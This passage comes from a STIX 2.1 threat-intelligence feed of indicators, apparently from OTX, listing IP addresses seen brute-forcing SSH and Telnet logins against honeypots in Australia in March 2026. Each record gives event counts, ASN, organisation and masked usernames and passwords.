      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): 3**********4, a***t, m*****t, r**t, a****o. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1**4, 1******8.",
      "id": "indicator--c7b1ebc7-9370-4e53-98af-7ba418038a0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.243.26.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:15:07.000Z",
      "valid_until": "2026-04-21T16:15:05.000Z"
    },
    {
      "created": "2026-03-20T16:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--9f3e8a55-a22d-497b-81a6-87117d93ddbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.163.51.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:15:07.000Z",
      "valid_until": "2026-04-21T16:15:05.000Z"
    },
    {
      "created": "2026-03-20T16:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 9534. Organisation(s): Binariang Berhad.",
      "id": "indicator--7e0fd9c0-b092-40b4-a36e-8af8a86b5d11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.192.247.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:15:07.000Z",
      "valid_until": "2026-04-21T16:15:05.000Z"
    },
    {
      "created": "2026-03-20T16:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 50482. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): a***o, ***, s******5. Passwords observed (masked): 1******8, A*******!, f*****4.",
      "id": "indicator--cd5f5944-0356-457d-846a-a79f0d1b8a8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.154.234.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:15:07.000Z",
      "valid_until": "2026-04-21T16:15:05.000Z"
    },
    {
      "created": "2026-03-20T16:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--e6593d9d-0afa-4886-ad83-cc1c8c9ab352",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.125.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:15:07.000Z",
      "valid_until": "2026-04-21T16:15:05.000Z"
    },
    {
      "created": "2026-03-20T16:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--c1b28281-b7fc-46ec-85c6-473a5273ac05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.173.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:15:07.000Z",
      "valid_until": "2026-04-21T16:15:05.000Z"
    },
    {
      "created": "2026-03-20T16:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--b6fc3f05-9c9a-4cc6-851c-e6b6f42200d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T16:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.127.76.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:15:07.000Z",
      "valid_until": "2026-04-21T16:15:05.000Z"
    },
    {
      "created": "2026-03-20T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): d**e, a******q, m***l, o**n, t***e. Passwords observed (masked): ***, 1**4, 1***5, 1****6, 3***********4.",
      "id": "indicator--a8ff6830-d1d7-4fb1-b967-60eef5ba4f14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.69.65.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T17:15:14.000Z",
      "valid_until": "2026-04-21T17:15:11.000Z"
    },
    {
      "created": "2026-03-20T17:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--03010327-857c-4481-94fa-19e902fdf1f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.43.125.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T17:15:14.000Z",
      "valid_until": "2026-04-21T17:15:11.000Z"
    },
    {
      "created": "2026-03-20T17:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--68ed72c5-9dd5-4156-9a4c-b463a45ca4fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T17:15:14.000Z",
      "valid_until": "2026-04-21T17:15:11.000Z"
    },
    {
      "created": "2026-03-20T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 226. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 212317. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): 3**********4, m******e, s**v, a***m, a***e. Passwords observed (masked): 1***5, 3***********4, 3**********4, ***, 1**4.",
      "id": "indicator--3c8d2cbb-5cc4-4470-a705-411c50403f58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.78.147.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T17:15:14.000Z",
      "valid_until": "2026-04-21T17:15:11.000Z"
    },
    {
      "created": "2026-03-20T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 12874. Organisation(s): Fastweb. Usernames observed (masked): s**v, 3**********4, a***m, a***e, f*****a. Passwords observed (masked): 1***5, 1****6, ***, 1**4, 3***********4.",
      "id": "indicator--a55c257b-2590-4458-9572-55707488a1b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.18.236.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T17:15:14.000Z",
      "valid_until": "2026-04-21T17:15:11.000Z"
    },
    {
      "created": "2026-03-20T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): *, d*****a, ***. Passwords observed (masked): *, 1****6, d*****a.",
      "id": "indicator--f1ecd768-6741-465c-8051-707aa4ffcc98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.236.116.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T17:15:14.000Z",
      "valid_until": "2026-04-21T17:15:11.000Z"
    },
    {
      "created": "2026-03-20T18:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--09136f3c-7c06-4fc6-9e1c-91bece5420b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T18:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.71.37.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T18:15:07.000Z",
      "valid_until": "2026-04-21T18:15:05.000Z"
    },
    {
      "created": "2026-03-20T18:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): m****y, 3**********4, c****t, o***a. Passwords observed (masked): 3***********4, 3**********4, M*******3, c********s, o*******4.",
      "id": "indicator--99c8c2db-1802-414a-8c7e-2c3c9e555381",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T18:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T18:15:07.000Z",
      "valid_until": "2026-04-21T18:15:05.000Z"
    },
    {
      "created": "2026-03-20T18:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--732030c7-3fcc-42e4-958c-c17f32ec374e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T18:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.237.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T18:15:07.000Z",
      "valid_until": "2026-04-21T18:15:05.000Z"
    },
    {
      "created": "2026-03-20T18:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1ee04a1c-4513-4107-9ac5-8e7848d845ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T18:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T18:15:07.000Z",
      "valid_until": "2026-04-21T18:15:05.000Z"
    },
    {
      "created": "2026-03-20T18:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--5666e6e5-f878-4df5-86bd-9456658d0af7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T18:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.93.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T18:15:07.000Z",
      "valid_until": "2026-04-21T18:15:05.000Z"
    },
    {
      "created": "2026-03-20T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): h***n, s****a, t******m, t**r. Passwords observed (masked): h*******4, p******d, t**********4, t******4.",
      "id": "indicator--09402f73-9814-4488-b0eb-7452346ed125",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.196.30.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:15:14.000Z",
      "valid_until": "2026-04-21T19:15:11.000Z"
    },
    {
      "created": "2026-03-20T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network. Usernames observed (masked): r**t, a***n. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--3d73ada2-3ac9-425b-b82e-6a1da74c44cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.85.183.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:15:14.000Z",
      "valid_until": "2026-04-21T19:15:11.000Z"
    },
    {
      "created": "2026-03-20T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--842a0441-2caf-443c-93e5-c594b868ad16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.29.84.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:15:14.000Z",
      "valid_until": "2026-04-21T19:15:11.000Z"
    },
    {
      "created": "2026-03-20T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--d0822daa-6746-4889-9e0b-85a8ad5d4a2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.89.119.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:15:14.000Z",
      "valid_until": "2026-04-21T19:15:11.000Z"
    },
    {
      "created": "2026-03-20T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6523d428-82bd-4b76-9c51-3abd90a3c717",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.37.47.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:15:14.000Z",
      "valid_until": "2026-04-21T19:15:11.000Z"
    },
    {
      "created": "2026-03-20T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 266011. Organisation(s): FABLINUXER CONNECT TELECOMUNICACOES. Usernames observed (masked): r**t. Passwords observed (masked): 9******9.",
      "id": "indicator--0c7227ec-15b5-4618-98e0-6e80ac030e3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.191.128.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:15:14.000Z",
      "valid_until": "2026-04-21T19:15:11.000Z"
    },
    {
      "created": "2026-03-20T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140061. Organisation(s): Qinghai Telecom.",
      "id": "indicator--2e20cd08-d915-47b9-99d1-f8b59290b08d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.167.232.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:15:14.000Z",
      "valid_until": "2026-04-21T19:15:11.000Z"
    },
    {
      "created": "2026-03-20T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--295767fc-3a03-4c3d-8ab3-de458d384da3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.9.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:15:14.000Z",
      "valid_until": "2026-04-21T19:15:11.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): 3**********4, i**i, ***, h**t, ***. Passwords observed (masked): 1******8, 3***********4, 3**********4, 1**4, W*****!.",
      "id": "indicator--1b5c9339-5d12-4584-a598-43f4fdcaff6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.207.246.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited. Usernames observed (masked): i**i, 3**********4, ***, o**z, r**t. Passwords observed (masked): 1******8, 3***********4, 3**********4, W*****!, o******4.",
      "id": "indicator--6fdaf4d8-41e7-445a-82f0-a66c516a4575",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '136.232.11.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, i**i, ***, h**t, ***. Passwords observed (masked): 1******8, 3***********4, 3**********4, 1**4, W*****!.",
      "id": "indicator--1d17f018-f385-4e6e-a574-e35fe3ab283d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.171.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: FR. ASN(s): 29075. Organisation(s): Ielo-liazo Services SAS.",
      "id": "indicator--06370de5-de2a-4fa0-b32c-873bbc47ba6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.20.55.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RS. ASN(s): 31042. Organisation(s): Serbia BroadBand-Srpske Kablovske mreze d.o.o.. Usernames observed (masked): 3**********4, a*****o, a***a, b*****d, ***. Passwords observed (masked): 3***********4, 3**********4, p******d, 1***5, 1******f.",
      "id": "indicator--93518bca-0ab0-4420-8c32-491bf2894fab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.2.32.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--512dfdc4-17cd-4a58-9d91-05af52a57875",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--28b30411-9942-4400-9a95-05b569afb4e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.134.104.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--9df25038-dfb5-4850-a747-a3d025ca6c6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.116.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--6fea38f2-48e1-4765-a27a-2d87e887fd9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
